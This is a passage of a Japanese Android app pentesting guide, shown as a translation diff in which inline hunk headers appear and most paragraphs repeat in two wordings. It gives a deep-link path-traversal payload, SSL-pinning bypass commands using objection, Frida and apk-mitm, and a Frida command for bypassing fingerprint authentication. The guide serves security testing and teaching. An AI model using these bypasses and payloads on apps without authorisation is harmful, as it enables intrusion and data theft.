**すべての証明書を受け入れる**
何らかの理由で、開発者は時々、ホスト名が以下のようなコード行と一致しない場合でもすべての証明書を受け入れます:
何らかの理由で、開発者は時々、ホスト名が一致しない場合でもすべての証明書を受け入れます。例えば、以下のようなコード行がある場合です:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
@ -158,15 +160,15 @@ A good way to test this is to try to capture the traffic using some proxy like B
**Poor Key Management Processes**
一部の開発者は、ローカルストレージに機密データを保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは行うべきではなく、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があります
一部の開発者は、ローカルストレージに機密データを保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があるため、行うべきではありません
**Use of Insecure and/or Deprecated Algorithms**
開発者は、**非推奨のアルゴリズム**を使用して認証**チェック**を行ったり、**データを保存**または**送信**したりすべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、**ハッシュ**を使用してパスワードを保存する場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
### Other checks
- **APKを難読化**して、攻撃者のリバースエンジニアリング作業を困難にすることを推奨します。
- APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。
- アプリが機密性が高い場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。
- アプリが機密性が高い場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。
- アプリが機密性が高い場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
@ -279,10 +281,10 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
開発者は、**デバッグ情報**を公開することに注意すべきであり、これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
> [!WARNING]
> **Android 4.0以降**、**アプリケーションは自分自身のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
> **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
> それでも、**機密情報をログに記録しない**ことを推奨します。
**Copy/Paste Buffer Caching**
@ -297,16 +299,16 @@ Androidの**クリップボードベース**のフレームワークは、アプ
**Analytics Data Sent To 3rd Parties**
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
アプリケーションは、Google Adsenseなどのサービスを統合することが多く、開発者による不適切な実装により機密データが**漏洩する**可能性があります。潜在的なデータ漏洩を特定するために、**アプリケーションのトラフィックを傍受**、第三者サービスに送信される機密情報がないかを確認することをお勧めします。
### SQLite DBs
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中は、作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報を見つけることができるかもしれません(これは脆弱性となります)。\
ほとんどのアプリケーションは、情報を保存するために**内部SQLiteデータベース**を使用します。ペンテスト中作成された**データベース**、**テーブル**と**カラム**の名前、保存されたすべての**データ**を確認してください。機密情報を見つけることができるかもしれません(これは脆弱性となります)。\
データベースは`/data/data/the.package.name/databases`に位置し、例えば`/data/data/com.mwr.example.sieve/databases`のようになります。
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それでも**脆弱性**です。
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`使用してテーブルのカラムを列挙します。
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`実行してテーブルのカラムを列挙します。
### Drozer (Exploit Activities, Content Providers and Services)
@ -331,45 +333,45 @@ You can also start an exported activity from adb:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**注意**: MobSFは、アクティビティの`android:launchMode`として_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン< 21でのみ危険なようです
**注意**: MobSFは、アクティビティの`android:launchMode`として_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョンAPIバージョン<21でのみ危険なようです
> [!TIP]
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。
**機密情報の漏洩**
**アクティビティは結果を返すこともできます**。もし、**`setResult`**メソッドを呼び出し、**機密情報を返す**エクスポートされた保護されていないアクティビティを見つけることができれば、機密情報の漏洩があります。
**アクティビティは結果を返すこともできます**。もし、エクスポートされていて保護されていないアクティビティが**`setResult`**メソッドを呼び出し、**機密情報を返している**のを見つけた場合、機密情報の漏洩があります。
#### タップジャッキング
タップジャッキングが防止されていない場合、エクスポートされたアクティビティを悪用して**ユーザーに予期しないアクションを実行させる**ことができます。タップジャッキングについての詳細は[**こちらのリンクを参照してください**](#tapjacking)。
タップジャッキングが防止されていない場合、エクスポートされたアクティビティを悪用して**ユーザーに予期しないアクションを実行させる**ことができます。タップジャッキングについての詳細は[**こちらのリンクを参照してください**](#tapjacking)。
### コンテンツプロバイダーの悪用 - 機密情報へのアクセスと操作
[**コンテンツプロバイダーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#content-provider)\
[**コンテンツプロバイダーについて復習したい場合はこれをお読みください。**](android-applications-basics.md#content-provider)\
コンテンツプロバイダーは基本的に**データを共有する**ために使用されます。アプリに利用可能なコンテンツプロバイダーがある場合、そこから**機密データを抽出**できるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性をテストすることも興味深いです。これらは脆弱である可能性があります。
[**Drozerを使用してコンテンツプロバイダーを悪用する方法を学びましょう。**](drozer-tutorial/index.html#content-providers)
### **サービスの悪用**
[**サービスとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#services)\
サービスのアクションは`onStartCommand`メソッドで開始されることを覚えておいてください。
[**サービスについて復習したい場合はこれをお読みください。**](android-applications-basics.md#services)\
サービスのアクションは`onStartCommand`メソッドで始まることを覚えておいてください。
サービスは基本的に**データを受信**し、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、**コードを確認**して何をしているのかを理解し、**動的にテスト**して機密情報を抽出したり、認証手段をバイパスしたりする必要があります。\
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/index.html#services)
### **ブロードキャストレシーバーの悪用**
[**ブロードキャストレシーバーとは何かを再確認したい場合は、こちらをお読みください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバーのアクションは`onReceive`メソッドで開始されることを覚えておいてください。
[**ブロードキャストレシーバーについて復習したい場合はこれをお読みください。**](android-applications-basics.md#broadcast-receivers)\
ブロードキャストレシーバーのアクションは`onReceive`メソッドで始まることを覚えておいてください。
ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
ブロードキャストレシーバーは特定のメッセージを待機しています。レシーバーがメッセージをどのように処理するかによって、脆弱である可能性があります。\
[**Drozerを使用してブロードキャストレシーバーを悪用する方法を学びましょう。**](#exploiting-broadcast-receivers)
### **スキーム / ディープリンクの悪用**
MobSFや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)のようなツールを使用して、手動でディープリンクを探すことができます。\
手動でディープリンクを探すことができ、MobSFのようなツールや[このスクリプト](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)を使用できます。\
**adb**や**ブラウザ**を使用して宣言された**スキーム**を**開く**ことができます:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
@ -393,8 +395,8 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
**パス内のパラメータ**
**URLのパス内パラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合その他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
**URLのパス内パラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合、およびその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
**さらなる例**
@ -418,7 +420,7 @@ SSLピンニングは、アプリケーションがサーバーの証明書を
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**Burp。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
**APIレベル24以上**をターゲットにしたアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成を変更する手順については、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。
**APIレベル24以上**をターゲットにしたアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアル**](make-apk-accept-ca-certificate.md)を参照してください。
**Flutter**が使用されている場合は、[**このページ**](flutter.md)の指示に従う必要があります。これは、証明書をストアに追加するだけでは機能せず、Flutterには独自の有効なCAのリストがあるためです。
@ -428,7 +430,7 @@ SSLピンニングが実装されている場合、HTTPSトラフィックを検
- **apkを自動的に修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにルートが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
- **Frida**を使用してこの保護をバイパスすることもできます以下で説明。Burp+Frida+Genymotionを使用するためのガイドはこちらです[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます(以下で説明)`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(以下で説明)。
- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
@ -483,19 +485,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **指紋/生体認証バイパス**
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために実行している**指紋認証をバイパス**することが可能になるかもしれません
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために実行している**指紋認証をバイパス**することが可能です
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **バックグラウンド画像**
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときに、アプリが読み込まれる前に画像が読み込まれるため、アプリがより早く読み込まれたように見えます。
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります(アクセスするにはルート権限が必要です)。
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む可能性**があります(アクセスするにはルート権限が必要です)。
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりするを防ぎます。
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -507,7 +509,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
開発者は、これらのインテントを処理し、`startActivity(...)``sendBroadcast(...)`などのメソッドに渡すプロキシコンポーネント(アクティビティ、サービス、ブロードキャストレシーバーなど)を作成することがよくありますが、これはリスクを伴います。
危険は、攻撃者がこれらのインテントを誤って誘導することによって、非エクスポートアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりできることにあります。注目すべき例は、`WebView`コンポーネントがURLを`Intent`オブジェクトに変換し、`Intent.parseUri(...)`を介して実行することで、悪意のあるインテント注入につながる可能性があることです。
危険は、攻撃者がこれらのインテントを誤って誘導することによって、非エクスポートアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりできることにあります。注目すべき例は、`WebView`コンポーネントがURLを`Intent`オブジェクトに変換し、`Intent.parseUri(...)`を介して実行することで、悪意のあるインテント注入につながる可能性があります。
### Essential Takeaways
@ -523,7 +525,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
- **SQL Injection:** 動的クエリやコンテンツプロバイダーを扱う際は、パラメータ化されたクエリを使用していることを確認してください。
- **JavaScript Injection (XSS):** すべてのWebViewに対してJavaScriptおよびプラグインサポートが無効になっていることを確認してくださいデフォルトで無効。 [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebViewはファイルシステムへのアクセスを無効にする必要がありますデフォルトで有効 - `(webview.getSettings().setAllowFileAccess(false);)`。 [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Androidアプリケーションがセッションを終了するとき、クッキーが取り消されない場合や、ディスクに保存される可能性があります。
- **Eternal cookies**: Androidアプリケーションがセッションを終了するとき、クッキーが取り消されない場合や、ディスクに保存されることがあります。
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
@ -542,20 +544,20 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
MobSFは**Android**(apk)**、IOS**(ipa) **およびWindows**(apx)アプリケーションを分析できます_WindowsアプリケーションはWindowsホストにインストールされたMobSFから分析する必要があります_。\
また、**Android**または**IOS**アプリのソースコードを含む**ZIP**ファイルを作成するとアプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成、それも分析できます。
また、**Android**または**IOS**アプリのソースコード**ZIP**ファイルを作成するとアプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成、それも分析できます。
MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することも可能です_MobSF/settings.py_にAPIキーを設定し、次のように有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。`VT_UPLOAD``False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することもできま_MobSF/settings.py_にAPIキーを設定し、`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`を有効にする必要があります)。`VT_UPLOAD``False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
### MobSFによる支援された動的分析
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注: **まずgenymotionでVMを起動し**、**その後MobSFを起動する必要があります。**_\
**MobSF動的アナライザー**は以下ことができます:
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要がありますVMやDockerでは動作しません。_注:最初に**genymotionでVMを起動**し、**その後MobSFを起動**する必要があります。_\
**MobSF動的アナライザー**は以下を行うことができます:
- **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットは撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
- **アプリケーションデータをダンプ**URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"Exported Activity Tester"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル。これらはすべて自動的に行われますが、スクリーンショットは撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"Exported Activity Tester"を押す必要があります。
- **HTTPSトラフィックをキャプチャ**
- **Frida**を使用して**ランタイム**の**情報**を取得
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、トラフィックを**キャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
**Frida**
@ -563,18 +565,18 @@ Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し
MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\
MobSFは、独自の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただ**選択し**、"**Load**"を押し、"**Start Instrumentation**"を押すと、そのスクリプトのログを"**Frida Live Logs**"内で見ることができます。
MobSFは、独自の**Fridaスクリプト**を読み込むこともできますFridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)。ただし、**それらを選択し**、"**Load**"を押し、"**Start Instrumentation**"を押す必要があります(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます
![](<../../images/image (419).png>)
さらに、いくつかの補助的なFrida機能があります
- **読み込まれたクラスを列挙**: すべての読み込まれたクラスを表示します
- **文字列をキャプチャ**: アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常にノイジーです)
- **文字列比較をキャプチャ**: 非常に便利です。**比較されている2つの文字列**と、結果がTrueかFalseかを**表示**します。
- **クラスメソッドを列挙**: クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。
- **クラスパターンを検索**: パターンでクラスを検索
- **クラスメソッドをトレース**: **クラス全体をトレース**そのクラスのすべてのメソッドの入力と出力を確認。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
- **読み込まれたクラスを列挙**すべての読み込まれたクラスを表示します
- **文字列をキャプチャ**アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常にノイジーです)
- **文字列比較をキャプチャ**非常に便利です。**比較されている2つの文字列**と、結果がTrueかFalseかを表示します。
- **クラスメソッドを列挙**クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。
- **クラスパターンを検索**:パターンでクラスを検索します
- **クラスメソッドをトレース****クラス全体をトレース**します(そのクラスのすべてのメソッドの入力と出力を確認します。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。
@ -591,10 +593,10 @@ receivers
```
**HTTPツール**
HTTPトラフィックがキャプチャされると、キャプチャされたトラフィックの醜いビューが「**HTTP(S) Traffic**」の下部に表示されるか、「**Start HTTPTools**」の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**BurpやOwasp ZAPなどに**送信**できます。\
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> 「**Send to Fuzzer**」を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**BurpやOwasp ZAPなどに**送信**できます。\
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
MobSFで動的分析が終了したら、「**Start Web API Fuzzer**」を押して**HTTPリクエストをファズ**し、脆弱性を探します。
MobSFで動的分析が終了したら、"**Start Web API Fuzzer**"を押して**HTTPリクエストをファズ**し、脆弱性を探します。
> [!TIP]
> MobSFで動的分析を実行した後、プロキシ設定が誤って構成される可能性があり、GUIから修正できなくなることがあります。プロキシ設定を修正するには、次のコマンドを実行します
@ -616,7 +618,7 @@ MobSFで動的分析が終了したら、「**Start Web API Fuzzer**」を押し
### [Qark](https://github.com/linkedin/qark)
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための「Proof-of-Concept」デプロイ可能APKおよび**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**「Proof-of-Concept」デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -625,7 +627,7 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- すべての抽出されたファイルを簡単に参照できるように表示
- 参照用にすべての抽出ファイルを表示
- APKファイルを自動的にJavaおよびSmali形式にデコンパイル
- 一般的な脆弱性と動作のためにAndroidManifest.xmlを分析
- 一般的な脆弱性と動作のための静的ソースコード分析
@ -636,9 +638,9 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行われます。
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、脆弱性を検出するための一連のルールを適用することによって行われます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちが必要とする分析のために独自のルールを作成できます。
すべてのルールは`rules.json`ファイルに集中しており、各企業やテスターは自分たちのニーズに応じて分析するための独自のルールを作成できます。
最新のバイナリは[ダウンロードページ](https://superanalyzer.rocks/download.html)からダウンロードしてください。
```
@ -670,7 +672,7 @@ androbugs.exe -f [APK file]
検出は、アプリケーションのDalvikバイトコードの**静的解析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。
このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
このツールは、次のような「悪い」アプリケーションの**一般的な動作**を探します:電話識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -678,7 +680,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
**MARA**は**モバイルアプリケーションの逆アセンブルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆アセンブルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。
以下のことが可能です:
@ -691,7 +693,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### Koodous
マルウェアを検出するのに役立ちます[https://koodous.com/](https://koodous.com)
マルウェアを検出するのに役立ちます: [https://koodous.com/](https://koodous.com)
## コードの難読化/デオブフスケート
@ -699,7 +701,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>)から:**ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
[Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>より): **ProGuard**は、Javaコードを縮小、最適化、難読化するオープンソースのコマンドラインツールです。バイトコードを最適化し、未使用の命令を検出して削除することができます。ProGuardはフリーソフトウェアで、GNU一般公衆ライセンス第2版の下で配布されています。
ProGuardはAndroid SDKの一部として配布され、アプリケーションをリリースモードでビルドする際に実行されます。
@ -709,10 +711,10 @@ APKをデオブフスケートするためのステップバイステップガ
そのガイドから最後に確認したとき、Dexguardの動作モードは次のとおりでした
- リソースをInputStreamとして読み込む
- 結果をFilterInputStreamから継承したクラスに渡して復号化する
- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する
- リソースをInputStreamとして読み込む;
- 結果をFilterInputStreamから継承したクラスに渡して復号化する;
- リバースエンジニアに数分の時間を無駄にさせるために無駄な難読化を行う;
- 復号化された結果をZipInputStreamに渡してDEXファイルを取得する;
- 最後に、`loadDex`メソッドを使用して結果のDEXをリソースとして読み込む。
### [DeGuard](http://apk-deguard.com)
@ -727,23 +729,23 @@ APKをデオブフスケートするためのステップバイステップガ
### [Simplify](https://github.com/CalebFenton/simplify)
これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化されたコードは同じ動作をしますが、人間にとって理解しやすくなります。各最適化タイプはシンプルで一般的であるため、使用される特定の難読化のタイプは関係ありません。
これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化の各タイプはシンプルで一般的であるため、使用される特定の難読化のタイプは関係ありません。
### [APKiD](https://github.com/rednaga/APKiD)
